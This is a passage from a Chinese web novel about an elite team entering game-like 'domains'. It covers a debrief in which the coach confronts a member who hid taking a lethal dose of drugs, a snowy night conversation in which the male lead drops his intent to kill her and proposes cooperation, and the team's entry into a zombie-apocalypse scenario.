导致她一点困意都没有。 沿着湖畔走,大雪天,天地都雾茫茫的。 天快亮的时候, 她背上渔具包又去钓了会儿鱼, 一直钓到了有人来喊她。 “钓鱼佬,回去了!”邱任望招手。 短暂的跨年假期结束了。 对于TRES的所有人来说, 这些休息时间已然很长了, 回到基地后,迎接他们的是复盘会和训练。 毕竟第四轮域已经迫在眉睫。 回去的第一件事, 温知初先把新年礼物的回礼给定完了。 上午回去的,下午就开始去训练馆训练。 她这次训练得太晚, 和其他人的合练被取消,只剩下单独训练。 这一轮的训练和之前一样,主要是用来提高精神力损耗极限,为大家在接下来的域里尽量能待更久的时间做准备, 尽量降低身体所受影响。 每天训练十二个小时左右,除了教练和训练官几乎见不到其他人。 第四轮域的时间定下来了,1月13日。 1月8日晚上, 统一召开第三轮域的复盘会议, 和第四轮域的动员会议合在一起一并开了。 TRES的队员进去的时候, 上一轮工作人员的会议刚结束。 乌泱泱一群人走出来,双方打着招呼。 工作人员离开后,队员们走进了会议室。 教练在讲台上,侧着身子,和训练官说着些什么。 邱任望以为自己是第一个来的,结果进来的时候,最后一排已经坐着温知初。 她低着头,在看笔记本旁的训练资料。 邱任望轻车熟路地坐到了她身旁。 “小温,你送的键盘我收到了。”他道,“谢了。” 温知初略微颔首:“你喜欢就好。” 她转过头,望向他:“眼睛怎么样了?” 邱任望拂向自己左眼的纱布:“反正已经不疼了。” “医生说快好了,”他道,“如果顺利的话,第四轮域回来的时候,纱布就能拆了。” 如果能顺利回来的话。 逐渐的,队员来齐了。 Yu依旧是最后一个到的,他走向最后一排,看了眼邱任望的位置,坐到了长桌的斜对面。 “人都来齐了,”老钱抬起手表,“行了,七点半了,大家也该都吃过饭了,会议开始。” 他道:“我看了训练表,今天晚上还有人训练,所以这次会议我尽量长话短说。” “首先。”他道,“下一轮的人员分配我直接说了。” 老钱:“主Tactic从章诎换成邱任望…将铭身体没完全恢复好,下一轮你和屈孚宁换个位置,你当辅Tactic ,屈孚宁下一轮辅Carn 。” 他抬头:“有意见么?” 章诎率先开口:“没意见。” 上一轮他确实没把Tactic位做好。 邱任望:“收到。” 将铭犹豫了会儿:“收到。” 屈孚宁:“收到。” “好。”老钱道,“复盘下第三轮。” 投影光屏上显示他们第三轮的动线。 看着这些动线总结,队员们真的有种恍若隔世的感觉,毕竟无论是空间还是时间,都在不断变化。 一开始, TRES带着高三四班的学生一起从游泳场馆出来了,期间敌方利用间隙杀了不少普通学生,疑似是他们的剧情任务。 兵分两路,四个队员领着学生先到达了礼堂楼,温知初和Yu滞后到达,期间温知初戮杀了敌方的陈付讫。 因为这个原因,救援队拒绝温知初登机,队员们再次兵分两路,四个队员随救援队抵达写字楼,温知初和Yu翻离校园,利用校车到达了写字楼。 而后,市民的祈祷让大家发现了终焉教, Yu的洗礼和禁闭都让大家觉得这个宗教不太正常,不知道要用这些人的血做什么。 在禁闭室内, Yu格杀了敌方的李奂壬,而将铭和温知初在外营救了一批高中生后找到了市议长的位置。 期间,所有队员都在完成不同的剧情任务,争取权限。 老钱总结:“地图变大了,剧情变多了,大家的任务都变多了。” 老钱说长话短说就真的长话短说,简单评价了下每个队员的动线后就切到了下一个话题,也是会议里他最重视的话题。 出口。 “域里面剧情目标我就不赘述了,我要说的是我们自己带进去的目标。”他道,“剧情探索。” 去探索里剧情里那道不知形状的、不知踪迹的离开<深渊>的出口。 邱任望忍不住开口:“有进度么?” 第三轮域里,每个人都因为过于繁重的任务而分身乏术,探索剧情的内嵌程序在域里面崩坏,他们根本只能莽撞地进行着一切,很难觉得会有进度。 “虽然说我们用来探索出口的技术在里面失效,”老钱沉默了会儿,脸上浮现笑,“但是这一轮,我们还是有进度的。” 不仅有,甚至还不小。 投影光屏上,显露出域数据的光点热成像。 “你们看这些光点的轨迹,”老钱指着光屏,“比上一轮要清晰很多。” 外化成模型内的颜色变动,能看到有一系列连成线的、和其他区域颜色浅淡相反的区域,光点运行的轨迹也完全相反。 这就是技术人员一直研究的出口区域。 之前这片浅色区域是一个块状,无法从中找到规律,但是这次伴随着域内数据的运行,是随着时间变化的类长线状。 充分分析这些时间点域内到底进行着什么,能看出出口到底和域内的什么剧情挂钩。 从完全没有规律到找到规律,这就是突破。 章诎看着这些断断续续的长线:“都是什么时间点?” 长线一共分成了四段。 老钱指向了第一段长线:“这一段时间,对应的时间点,是温知初格杀陈付讫的事。” 这在当时是一个非常有争议的行为。 因为当时市议长这条线和陈付讫息息相关,在当时这个时间点杀死陈付讫显然是在老钱的意料外的,这不符合小温比较稳重的行事风格。 当时域外的不少工作人员都对温知初的这个举动感到惊疑不定。 不过现在看来,这误打误撞确实探索出了出口的一段剧情波动。 正如当时有条弹幕所言: [你们别忘了,这一轮他们还得探索剧情啊,既然没有仪器辅助,是不是行事确实得极端一些,才能撞到剧情的边界啊?说不定杀了此时最不应该杀的陈付讫所产生的连锁反应,恰恰是通往出口的路。 ] “意外之喜。”老钱道,“确实,如果现在所有的行事都和前两轮一样,很有可能就无缘探索出新的、通往出口的剧情了。” 温知初听得很认真,旁边的邱任望用手肘抵了抵她的胳膊,比了个厉害的口型。 她回了个轻笑,无声地耸了耸肩。 将铭抬头:“第二个时间点是什么?” 老钱指向第二片长线区:“第二个时间点是第一个时间点所发生的剧情推动出来的。” 他道:“这段时间里,发生的剧情正是救援队拒绝营救班长的事。” 有一才有二。 正是因为温杀了陈,救援队才会拒绝营救班长。 “往后看,第三段和第四段剧情其实都是由陈付讫被杀所驱动的。”老钱道,“我们后台的数据分析,如果不杀陈付讫,其实第三轮的剧情不会发展得这么快。” 陈付讫如果活着,市议长旗下的救援队不会这么早得展露真实的目的,双方的矛盾不会这么快地被激化。 “第三段剧情,”老钱言简意赅,“是Yu去洗礼的那段剧情。” 他道:“第四段剧情,是市议长被撞的剧情。” 说完后,老钱问:“所以,有人发现了规律了吗?” 邱任望举手:“基本都和小温有关。” “说得对,”老钱挑了挑眉,看了后排的温知初一眼,“不过这不是我们现在讨论的规律,有关小温的这一点,我们之后再说。” 温知初略微抬眼:“都和市议长的那条线重合。” “对。”老钱点头。 大家都看出来了。 这条和出口相关的区域,和市议长这条剧情线完美地重合了。 “所以我才说这次突破的很多。”老钱道,“起码我们知道了一件事。” 邱任望接过话:“出口和市议长、终焉教有关。” 这意味着,这条剧情的终点,不仅意味着终焉教的真相,也意味着<深渊>的出口。 这两件事殊途同归。 而从现在的剧情看,终焉教和丧尸爆发很有可能相关,非常符合剧情发展的逻辑。 很重要的突破。 不过几个队员都身经百战,对于这项好消息没有过度的反应。 屈孚宁用力地点了点头,在本子上记了些什么。 将铭冷静地开口:“所以下一轮的域里,我们要做的事很清晰了。” 无需再像这一轮一样一头雾水地乱撞,有了清晰的做事动机:他们要加速推动市议长这条终焉线的发展,去找终点。 无论终点是混乱也好、和平也好,都得推动着进行,越快越好。 老钱点着头:“这就是我们下一轮域的核心目标。” “行啊老钱,”邱任望道,“这么好的消息,瞒了我们这么久。” 他伸了个懒腰。 这个话题的信息量挺大的,众人聚在一起讨论了会儿,切换到下一个话题。 “也是最后一个话题了。”老钱看了眼表。 已经九点了。 投影光屏切到下一页,众人抬头。 光屏上,显露的是上一轮他们也复盘过的一个东西。 域中的精神控制类药物。 温知初抬眼,眼神顿了顿。 “第二轮出现的药,”老钱的语气变得沉肃,“第三轮又出现了。” 他道:“我们现在有了三轮域,样本量也够了…我和其他训练官发现了一个怪事…” 域好像特别针对一个人。 温知初。 一开始只觉得是温知初太幸运E了,但三轮域里,剧情对温知初的针对,早就超过了运气可以解释的范围。 被困电梯、被受伤、被精神病、被强制服药、被连续不断担任班长、被精神失控…这一切太过了。 就好像剧情无论如何都要利用权力先解决最麻烦的温知初一样。 “我们无法掌控剧情,无法知晓<深渊>的目的,但是小温啊…”老钱望向最后一排。 温知初站起身,平淡地道:“到。” “我真的有件事想不明白,”他深深地叹了一口气,“为什么第三轮经历这么多,一点都不告诉自己的队友,彻底隐瞒…” 隐瞒到他们这些域外的观众都快以为这罐药是假的。 要不是比赛结束后生命体征数据出来了,他们就真的以为这罐药和第二轮的完全不一样。 温知初的神情没有变化,手垂着:“抱歉。” 她道:“我承认这一轮我一定程度上影响了团队合作。” “小温啊…”老钱惊讶地瞪圆了眼,“你怎么会觉得我讲这些,是觉得你影响了团队合作?” 温知初抬眼,深黑的双眼中除了平静外,隐隐约约有茫然。 就好像她真的不知道自己错在了哪里。 老钱深吸了一口气。 他意识到,温知初是真的不明白他在表达什么。 这孩子到底是在什么样的环境下长大的… “不是。”他摇头,“我完全没有责怪你的意思,你也完全没有做错什么事…” 他一直认为温知初是他教学生涯里,遇到的最完美的的一个队员。 她沉稳、能力强、有礼貌、懂进退、行事谨慎但不保守,在他心目中,这个队员没有任何缺点。 现在,他发现了温知初不是没有缺点,她有一个极大的缺点。 “小温。”老钱皱着眉,“你不把自己的命当成命。” 不把自己的疼痛当成疼痛,再严重的事只要她觉得不会影响到其他人,绝对不会说出来,让其他人分担。 老钱其实有些生气了:“自己一个人,为了任务的推进,忍着痛和极大死亡的风险,把这么一整瓶药全都吃下去了,这像话么!” 一整罐!不是一片两片,是几十片! 三片就致死的量,就这么独自吃了一整罐!就为了保证行动正常,为了不停地奔波、为了完成剧情任务。 斜对面的晏逾明,沉默地盯着一言不发的温知初。 其他队友也看向她。 将铭缓慢地开口:“其实我们这五个人,有的时候也是可以依靠的。” 温知初确实有些茫然。 她有些不明白会议室里的氛围。 这些事她读到的书里并没有教,他们为什么会因为第三轮发生的事而生气…是生气了么…第三轮起码推进得不错不是么。 034号也发现了宿主罕见的茫然。 果然,宿主很多时候做的事,只是在模仿人类的行为逻辑…她不懂。 她不懂这些人不是在生气,准确的说不是在对她生气,而是对她不珍惜自己的性命、把事都揽在自己身上而生气。 由是。 宿主对上将铭的视线,说得那句“好”也是顺势而为。 她依旧不懂。 她只是平淡地开口:“我会的。” 老钱也发现了这一点,他放缓了语气:“小温,你…” 其实所有人都已经发现温知初的异于常人。 和E级截然不同的实力、过于沉稳的行事风格、过于被剧情针对的待遇、过于惊骇的忍耐能力…以及和这一切截然相反的背景。 TRES确认过好几次温知初的背景,这样平凡的生长环境,绝对培育不出温知初这样的存在。 一个在进入TRES前从未参加过任何比赛的人,能这般默不作声地吃下这么一瓶致命的药,还在精神失控的边缘把市议长给杀了… 绝对不可能。 老钱沉默了会儿,还是坦诚地说了出来:“小温,我能问你一个问题吗…” 他问:“你能说说你到底是谁么?” 站在后排的温知初冷淡地抬起眼。 眼神中不带半分多余的情绪,只像湖面的冰层,被风雪磨平了纹路,光滑、安静,几近无声。 第78章 邱任望欲言又止,他抬头:“钱丰,这是她私人的事,你直接这么问不太好吧…” 早就在看完《深渊》的时候,他便知道温知初的身份背景不像调查的那么简单。 但是如果温不主动说, 他也不会主动去问。 因为他相信温知初, 相信那个在高楼之上拽住他的人。 “没事。”温知初看了他一眼。 她抬眼望向教练:“你想具体知道什么?” “是想问我真实的成长环境,还是想问我到底为什么要加入TRES 、进入域?”她平淡地反问。 “或者说, ”她道,“是想知道为什么以前就服用过这种药?” 会议室里一片沉寂。 温知初说这些话的语气非常平稳,就好像她是在说着什么再普通不过、根本无需掩藏的事。 “我都可以说。”她道。 “但是…”她道, “抱歉。” 她静静地看着其他人:“就算我现在想告诉你们,我也说不出来。” “正如剧情对域中的角色有限制一样, ”她道,“我现在能做的事、能说的话也受到一定的限制。” 被<深渊>。 温知初轻声道:“你们好奇的事我是能不避讳说出来的, 但现在缺少一个合适的契机。” 会议室内更沉寂了。 老钱震惊而紧张地攥紧了手中的资料,其他人都看着她。 这些话信息量太大,但温知初又说出得这般平静了。 太平静了,平静到刺耳。 像湖面结了层冰, 不惊不扰,却把底下所有暗流与沉石一一封住。 老钱和队员们惊疑不定地消化着这些对于温知初而言无足轻重、但对于他们就像重磅炸弹一样的话。 温的话其实间接地透露出太多事实。 首先,她现在的身份背景确实是假的、或是片面的。 其次, 她的身份受到了<深渊>的监视和针对, 很多事她不能说, 是因为可能会透露出<深渊>想从她这里得到的答案。 而后, 她需要一个契机,一个可以脱离<深渊>钳制的机会。 还有… 温知初站着,不急不缓地开口:“除了这些,你还有什么想知道的么?” 语气一如既往的温和而平静。 老钱半张着嘴:“这,这个契机具体是…” “教练。”后排的晏逾明抬眼,打断了他的话。 “已经很晚了,”他的语气淡漠,隐约还有几分不耐烦,“可以散会了么?” 老钱猛得回过神,意识到自己太没有边界感了,队员已经说了她现在缺少契机,他现在再问下去,也问不出什么答案。 后排Yu看过来的眼神真的淡漠到有若实质化,让老钱尴尬地笑了下。 “散会。”他道,“今天的复盘会议就到这里结束了,大家各自散开吧。” 他抬起手腕望向表:“明天还是老时间训练。” 将铭开口:“收到。” 后门打开,Yu已经离开了。 其他队员接连离开,邱任望走之前,用手轻轻地拍了拍温知初肩:“走吧。” 温知初应声:“嗯。” 修长的身影斜挎起背包,和邱任望一起离开了。 · 回去的半道,邱任望要去取快递,两人分开了。 温知初先回卧室,放下背包,披着外套下楼了。 到一楼的时候,她停下了脚步,目光落在了楼梯尽头的拐角处,那里放着Yu口中曾说过的那个日历本。 厚实的、木质的。 她顿了顿,把日历带上了,没有立刻打开看,走远了,推开落地门,走进庭院。 出来透气。 又是没有睡意的一个夜晚。 雪下着,没有C市的度假村那么大,缓和地落在建筑间、树枝上。 四周点着几盏暖光灯,雪落在灯罩上,化成水珠,又结成霜边,光晕由是有了一层毛边。 温知初站在雪地里,仰头望了一会儿,眉睫上落了些微冷意。 四周无人,风也很小,雪一层层地把她走过来的脚印给掩盖。 她低头看了眼手中的日历,翻开。 日历的纸张上密布着黑色的划痕,有的日子是淡淡的一横,有些日子被重重地划上好几笔。 错综的线条干净利落。 [好多死人啊。 ]034号知道这些线条意味着什么, [不愧是男主,从来不会放过任何一个《深渊》里背叛过他的人。 ] 034号指向3046年的12月30号:[这两道划线,代表的就是男主送的那两个数据核吧。 ] “嗯。”温知初道,“挺好吃的。” 034号:[……] 034号:[宿主,重点不是这个啊…] 034号觉得宿主对于男主的戒备心实在太低了,确实如同老钱所说,宿主完全不把自己的命当成命。 在034号的视角,男主最近有些异常,无论是送数据核,还是兼并医疗部都很不对劲…好像终于做出了某种决定。 034号怀疑男主可能要动手了。 就好像猎物终于救活了、养肥了,趁着猎物还没被第三方弄死,不能再等下去了。 034号说着自己的猜测,深以为然,但是宿主根本没有听进去,依旧看着手中的日历。 034号: [宿主,你最近一定要防备些,我给你调男主的杀意值,你就知道事态有多严峻了。 ] Yu的杀意值被调了出来。 034号:[看吧,现在男主的杀意值是…] 034号的声音戛然而止。 看着日历的温知初抬眼,因为034号的沉默而意识到不对劲。 她问:“杀意值怎么了?” 034号:“不可能…” 034反复查询这男主的杀意值:“系统不可能出错了吧…” 它就算怀疑自己的性能出错了,也不敢相信自己现在看到的杀意值是真的。 杀意值为零。 明明进第三轮域之前还是满值,现在竟然是零!零! 就算变,也不可能有这么极端的变化吧? 宿主也不相信。 她漫不经心地道:“数据库出错了?” [我在排查。 ]034号刷新了无数次、排查了无数次,杀意值依旧是…零。 034号:[!!!!!!!!!!] 034号:[!!!!!!!!!!!!!!!!!!!!!!!!] 034号:[宿主,男主疯了。 ] 或者本来就是个疯子。 只有疯子,才会对一个曾经杀死过自己的人,现在毫无杀意。 温知初站直身,周身的漫不经心敛去,神情逐渐变得严肃。 她问:“你确定数据是对的?” 034号:[确定到不能再确定了。 ] 034号反应过来,这是个好消息啊,没了男主这个大故障,以后行事更方便了。 但对于宿主来说,这显然不是个好消息。 宿主在意他。 守着那该死的距离不愿意靠近偶像,不就是因为不想男主受限于《深渊》,成为此消彼长中的那个此消么? 温知初本能地否认这个消息,但理智压下了否认,她知道034号不会出错。 杀意值确实不知为什么归零了。 而这一切变化,恰巧是她最不能理解的人类的情感的变化,尤其这出于最让人难以捉摸的Yu。 她的唇线抿紧,垂下眼,已然开始迅速地思考起对策。 事态为什么会这么发展…事态不能再这么发展…为什么…该怎么办… 颀长的手指依旧翻着日历,但思绪是放空的,完全没落在日历上。 她想起了什么,想阖上日历。 此时,雪地里有脚步声靠近。 “不往后看了么?”他问。 还没翻到三月四日那一页。 温知初没有回头,也没应声,将日历阖上,修长的手指压住封皮。 雪还在落,细细密密,落在两人之间那道看不见却始终存在的界线上。 “聊聊吧。”晏逾明的声音不重。 温知初:“嗯。” 这道界线似乎不可能永远这么恰到好处、不远不近地立着了。 “为什么还不睡?”晏逾明道,“已经凌晨了。” 温知初的双手塞回口袋里:“不困。” 晏逾明突然转向温知初,两人对上视线,温知初的眼神依旧那般平静,似乎觉得被看穿了也无所谓,有着一种她天生气质所带的慵懒的冷淡。 而晏逾明的视线始终如一的淡漠,不过在此时看着温知初的时候,却漏出些别的东西…一种藏得极好、却始终对她展露的、沉默的疯意。 说疯好像太过了,说侵占或者攻击性似乎更为恰当。 “温知初,”他道,“我不绕弯子了,你知道我接下来要说些什么。” 他走近,踏过那道无形的边界线。 他们之间,掌握主动权的其实是杀人者的温知初,她掌握更多的真相,知道更多的隐情,不过她总是以一种冷淡的防御形式站在那里,成了那个被进攻的人。 她往后退了一步。 她最终停住了脚步,在Yu的眼神中。 她站得很直,后背被围墙上的雪打湿,手垂在身侧,沉默了片刻,她抬眼:“你想问什么。” 晏逾明轻笑了一声。 他就知道,温知初这样的人,如果你不去主动靠近她,去逼问一个答案,她绝对不会主动说些什么。 那道无形的边界线,她一直守得很好。 “我知道你有原《深渊》的记忆。”晏逾明望着她。 靠近了一步。 “我知道你在回避着我。” 又靠近了一步。 “我知道上辈子杀我的人是你。” 他一步步靠近,踏出一步,都带着无声的逼迫感。 “所以…”温知初缓慢抬起眼,没有承认,也没有否认,“你想怎么样?” “你想杀了我么?” 她只是站在那儿,看着逼近的人,安静地等待着对方做出决定。 第79章 低沉的笑声再次响起。 晏逾明摇了摇头,在这么紧绷的氛围下,笑容显得有些无奈。 她果然读不懂他的情绪,准确的说, 是无法理解人的情绪。 “你觉得我想杀你?”他抬起手,抽走了台子上的日历, “都让你往后翻一翻了。” 日历往后翻, 3047年的3月4日。 那道刺眼的红圈早就没了。 晏逾明垂眼望着她:“我现在对杀你这件事,完全没有兴趣。” 温知初抬眼,深黑的双眼没有回避地望着他。 “你这什么眼神, ”晏逾明问, “很失望?” 温知初:“我只是很意外。” 晏逾明淡漠的语气中带着某种隐晦的耐心:“你还是活着比较好。” 这个人活着,会让这个世界变得没有那么无聊。 晏逾明一直觉得这个世间很无聊。 正如邱任望在第二轮域里所感知的那样, 作为被《深渊》选中的男主,他的人生一开始失控的, 他的身体和灵魂不完全属于他,躯体有如被无数燎泡和眼球寄生。 被控制过着的人生不属于他,无聊至极。 重生后杀人也很无聊,就算下了刀,看着那些人在血泊里抽搐、求救,也完全没什么兴味,就好像在完成什么任务一样。 不过总比被《深渊》控制的人生好, 那样的日子太荒芜了, 看不到边际, 不停地被背叛, 不停地违背本性去做一个假人。 上辈子那么多人想杀他,可他们都没有成功。 可是温知初成功了。 她结束了他痛苦而荒芜的人生,而后醒来后, 他又遇到了她。 所以他之前对于刚进入的TRES的温知初,虽然刚开始带满了杀意,但他不讨厌她,甚至充满了兴味。 他观察温知初,就像在观察人生唯一的变数。 观察她到底为什么会杀了他,观察她到底是个什么样的人,观察她为什么总在回避他,观察她在一个个域里的表现。 其实温知初让他有些失望。 她不是一个能让他产生杀意的人,不是他想象中,他能报复回去的人。 不是一个道德意义上的恶人。 当初她杀他,大概率另有隐情。 这让他的狩猎彻底失去的乐趣,杀意值不断降低。 她还是活着更好。 活着的话,就算看着她,好像也能看到人生波动的痕迹,如果死了,好像一切都结束了。 她展露了很多他意料之外的面,似乎还有更多面让他感到好奇。 他想了解她。 他不想再看到…她回避他,无论出于什么理由。 晏逾明从未讨厌过温知初,哪怕在他最想杀她的时候,甚至,他其实一直很喜爱这个存在。 毕竟对他而言,这是个终结他《深渊》里最恶心宿命的存在,对他而言,不讨厌和有杀意是同时可以存在的。 现在,他对温知初的杀意也没了。 取而代之的,是某种比杀意更隐晦、更难以解释的情感。 她活着,这个世界看起来更好。 034号第一次听到男主说这么多话,系统已经开始乱码了。 庭院的灯光从别墅廊檐落下,在白雪地上映出两道身影,斜斜地拉长,雪越下越小。 温知初没有往后退,但是眼神怔住了,深黑的双眼像是不能理解Yu到底在说什么,塞在口袋里的手无节奏地轻微敲动。 “你是不是想不明白我在说什么?”晏逾明躬身,“不明白也行。” 他的语气有笑意。 所以说人需要沟通。 特别是面对温知初这种无法理解感情变化的的人。 温知初抬眼,眼中因为Yu的话有淡淡的笑意,却不达眼底,像是在审视着什么,“我以为你并不喜欢我。” “你想让我讨厌你?”晏逾明像是知道她到底在想什么。 “为什么?”他道,“因为我们之间的此消彼长?” 看着温知初因为惊讶抬起的眉尖,他望着她:“或许我知道的比你想象中要更多一些。” 温知初:“你怎么知道的?” “我怎么知道的…”晏逾明垂眼望着她,“因为…” “我掉级了啊。”他道。 温知初立即站直身,眉尖颤动着,深黑的双眼略微睁大,像是克制着什么一样,张了张嘴却没有说话。 她最不想预设的情况出现了。 晏逾明:“虽然我不知道全部的真相,但你我之间,应该是《深渊》设立的对立两端,剧情能在域中限制角色,就能如此限制《深渊》。” “而且。”他望着温知初,“我不可能无缘无故掉级。” 温知初虽然没有言语,但抿紧了唇线,她盯着晏逾明。 晏逾明观察过她这个习惯,温知初只有在情绪有所波动的时候才会抿唇线,无论在域内,还是在域外。 034号都快宕机了。 男主的洞察力简直是作弊级别的,它和宿主朝夕相处,得出此消彼长的结论花了很长时间,而男主竟然就这么发现了。 034号觉得男主简直比它还要了解宿主。 难道这就是恨的力量么? 究竟观察了多久、观察了多深,才能直接说出了两人关系之间的真相… 恐怖至极。 屋檐下似乎沉默了太久。 晏逾明开口:“班长?” 喊起了域内的称谓。 温知初松开抿紧的唇线:“你不问我为什么之前要杀你么?” 晏逾明:“我问了你能说么?不是说还没有等到那个契机?” 那个可以脱控深渊的契机。 温知初抬眼看着他,神色冷淡:“你对我会不会太放心了。” “不管出于什么理由,”她道,“我上辈子都杀了你。” 她道:“我上辈子会那么做,这辈子就还有那么做的可能。” “怎么做?”晏逾明垂眼望着她,“杀我?” 他略微弯腰,眼睛平视着温知初:“你准备怎么杀我?” 他抬起温知初的手:“我现在给你机会,你准备准备。” 温知初修长的指节收紧,立刻抽回了手,避开的目光中有几不可察的躲闪,她拉上了羽绒服内的卫衣兜帽,掩盖逐渐泛红的耳朵。 她轻微地咳嗽了几声:“我只是这么说。” 晏逾明:“那你还挺有幽默感。” “温知初,”他道,“老钱说的对,你的缺点很明显,不知道和人分担。” 就算他们之前是仇人,但其实最终的目标都是离开<深渊> ,两个被剧情设立为对立面的存在,其实是可以合作的。 “而且,”他道,“我们现在不是仇人了,不是么?” 温知初的身体略微倚在墙上,像是在支撑自己的思绪:“一切都该从最坏做打算不是么?” 其实她不是没有考虑过这个可能性,只不过是她觉得一个杀人者和被杀者之间坐下来和解的可能,从概率上来说可能性无限趋近于零。 是晏逾明这个人太出乎意外了。 “所以,”晏逾明开口,“合作吧。” 温知初闭上了双眼,像是不相信自己听到了什么,声音却是淡淡的:“你会掉级的。” 会陷入危险的。 “那又怎样。”晏逾明目不转睛地看着她,“就算掉了,我也还是晏逾明。” 还是那个永远不会战败的Yu。 晏逾明:“不相信我?” 温知初沉默着,一时间脑海中太多思绪。 难怪之前在域里,他说要和她好好聊聊。 横亘在二人之间的边界,就这般被Yu撕开了,猝不及防。 合作,是她从未想过的提议。 人这个生物真的太复杂了,按照常理出发, Yu不应该一直恨着她么? 为什么会主动提出合作? 为什么会主动坦诚? 为什么会主动愿意承担此消彼长的风险。 人真的太复杂了。 如果选择合作,这意味着男主的能力会被削弱,但两人终于可以不再是对立面,不一定要你死我活了。 本来她一个人承担这些风险就好了,现在加入了一个另一方,她还要考虑到怎么分担这些风险… 老钱说的对,她确实不擅长和人一起分担。 温知初站直身:“能让我考虑考虑么?” 晏逾明:“好。”站在她身旁的晏逾明望着雪,“给你十分钟。” 温知初:“……” 她顿了顿,终究没再说什么,缓步回到了别墅。 别墅里暖气吹得人脑袋发胀,灯被外面的夜景反衬得十分明亮,温知初把日历重新放了回去。 她站在窗边,沉默了许久,思考、拆解、重组刚才的每一句谈话,以及这场谈话产生的每一个可能。 她不是在犹豫,她只是在确认,只要踏出这一步,就是一种决定性的转折点,她是否能承担这种变化,而这种变化又是否能导致相对较好的结果… 温知初很遵守约定。一旦和人合作,她肯定要对合作的另一方绝对负责。 不多不少,十分钟后,温知初站起身,推开门,重新踏入雪中。 雪细细簌簌地落着,她走到晏逾明身旁,并排站着。 这一幕很有既视感,在域里,一直对互相看不顺眼的班长和副班长其实也有合作过的时刻,也曾和平地站在同一片墙下。 晏逾明:“想好了?” 温知初:“其实如果你讨厌我的话,事情会更加顺利。” 两个人都不用被削弱。 不远不近的距离,是最适合他们之间的距离。 可是现在,他却选择主动打破了这种她所期待的平衡。 这个人,永远是她人生的一种意外。 以前是,现在也是。 “别想太多。”晏逾明并不算淡漠的语气让他的话亦真亦假,“以我们之间的关系来说,就算掉级,也不会掉太多。” 034号阴阳怪气:[确实没掉太多,差点直接掉出了A级。 ] 晏逾明:“答案?” 他伸出手,骨节分明的手横在了半空,看着温知初的眼神有许多她看不懂的意味。 温知初抬眼:“合作。” 声音沉稳,她对承诺一向认真。 她抬起手,轻轻地拍了下晏逾明的手,说了句副班长曾对班长说过的话,嘴角的笑不易察觉:“你不要拖后腿就行。” 第80章 合作不合作的,其实对日常没什么影响。 忙着训练,忙着迎接接下来的域。 唯一的改变,可能就是034号不用每天猜忌宿主被男主谋杀的事了。 1月13日到来的很快, 已然是腊月, 到处都有快要过春节的氛围, 不过TRES显然不可能来得及在基地度过春节了。 晚上七点, 冬夜的风很大, 换上冬季队服的队员在门口集合。 噪杂的脚步和引擎声响起,队员们披上外套, 上了军用卡车。 卡车载着主力队员和训练官,颠簸地离开。 到达目的地的时候,已然是晚上九点, 卡车的尾门打开,队员们依次下车。 风大得尾门不停地晃。 温知初扶住车栏, 从卡车上翻跳而下,轻声落地。 队员们靠近域。 荒岭中数据流的流动有若极光,不停地变化着流动的轨迹,第四轮域,缓慢地打开了。 老钱站到队员们身旁:“这一次,不用我说,你们也该知道主要的目标是什么了。” 去探索剧情。 去找<深渊>藏在剧情中的出口。 “任务重, ”他道, “除了要完成<深渊>给你们的剧情目标外,还要额外地去探索有关出口的剧情。” 老钱:“我知道接下来的话你们都挺烦了…我还是那句。” 他道:“无论如何,还是你们的性命最重要,如果没有生命,就算找到了出口又有什么用?” 他的眼神在每个人脸上划过:“无论输赢,无论能不能探索到剧情,大家必须都要活着。” 数据流形成了一个狂风中的漩涡,不停地席卷四周的沙砾。 队员们和身后的工作人员道别后,一个一个地踏入了域,没有再看身后的路。 温知初俯身,弯腰踏入了域。 广播:[领域展开。 ] 广播: [SS赛程开启。 ] 广播: [赛制:长时剧情赛;剧情将随机为各位分配角色,请遵守杀戮和剧情规则。 ] 广播:[注意保护自己的意识,警惕任意剧情带来的错觉。 ] 伴随冰冷的电子音,周身陷入伸手不见五指的黑暗中,有如陷入了深水。 耳畔隐隐约约传来远处的谈话声。 温知初睁开眼,灯光从斜后方传来,她坐在椅子上,不远处的玻璃门外,来来往往都是人。是写字楼。 她坐在十二楼一个办公室的椅子上,这个房间里只有她一个人。 身上穿的是校服,她这次应该还是学生。 墙上的挂钟走到了十点,现在是公园3046年11月30日。 11月? 已经是冬天了? 温知初眉尖略挑,她站起身,走到窗边。 外面的风不比域外的小,吹得窗户玻璃不停地晃,树木的叶子掉光了,树枝枯败地外露,楼外丧尸游动的身影在黑暗处露出隐约的轮廓。 有车辆被丧尸给撞倒了,车辆的倾翻伴随有警报声,尽管车厢里面已经没有任何人,警报声依旧吸引来更多的丧尸围聚,空荡地于楼下回响。 地面上全是脏污,腐臭、无一处干净,尸体的残骸随处可见,排水管道长满了霉菌,往下缓慢地淌血水。 外面没有一丝光。 显然,末世已经来到了再不挽回就再也无法挽回的时期。 已知丧尸爆发潮的爆发时间是3046年3月6日,现在是11月30日,已然过去了269天。 丧尸潮刚爆发的时候,幸运的地方可能还能不停水不停电,还有食物的储存。 现在已然过去了太久,不用说食物,保障人基本生存的水电早就断了。 现在从窗户往外看,一点亮光都看不见。 就连这个有着储蓄水和电的宗教救援点,气氛也比之前阴暗了很多。 温知初离开窗户旁,推开玻璃门,修长的身影站在门口往外看。 灯光幽暗,走廊里投下斑驳的影子。 他们脱离域的时间里,写字楼内显然经历了什么不好的事,桌椅在外胡乱堆叠,地上散乱着纸张文件,不少地方的玻璃有裂痕。 大厅的方向有低声的交谈声,三三两两的人靠墙低语,皱着眉说着不怎么好的消息。 具体是什么消息听不见,只知道他们的神情都很阴沉。 普通市民和学生之间的关系似乎没有随着时间的推移而变得有多亲近,凑近的人群中,依旧是市民和市民之间靠得近,学生之间内部交流。 不少熟悉的面孔温知初都认出来了,不过他们容貌神色都憔悴了不少,衣服也没有当初那么整洁。 以及…少了很多人,又多了一些新的、陌生的面孔。 有意料之外的面孔…那些曾经被班长和体委救过的外校高中生。 不应该在另一个救援点么? 他们注意到站在门口的温知初,抬起手,和她打招呼。 温知初收回眼,冷淡地关上了玻璃门。 剧情的电子光屏终于显露。 时间:现在是3046年11月30日,小雪时节,距离丧尸爆发已经过了239天。处于末世的中后期,即人们如果再不解决末世危机,人类就会彻底灭绝的时期。 剧情:高三四班的二十二个学生来到写字楼后,逐步发现了终焉教的怪异之处但一直无法接近真相,他们对市民以及工作人员保持一定的警惕性。 剧情:学生们在写字楼这个救援点待了一百多天里,这里生活环境越来越差,储蓄的水和电、食物、药物快到山穷水尽的地步,人力也有不少的损失,所以出去搜寻物资的时候救援人员会带上市民和学生作为补充人力。 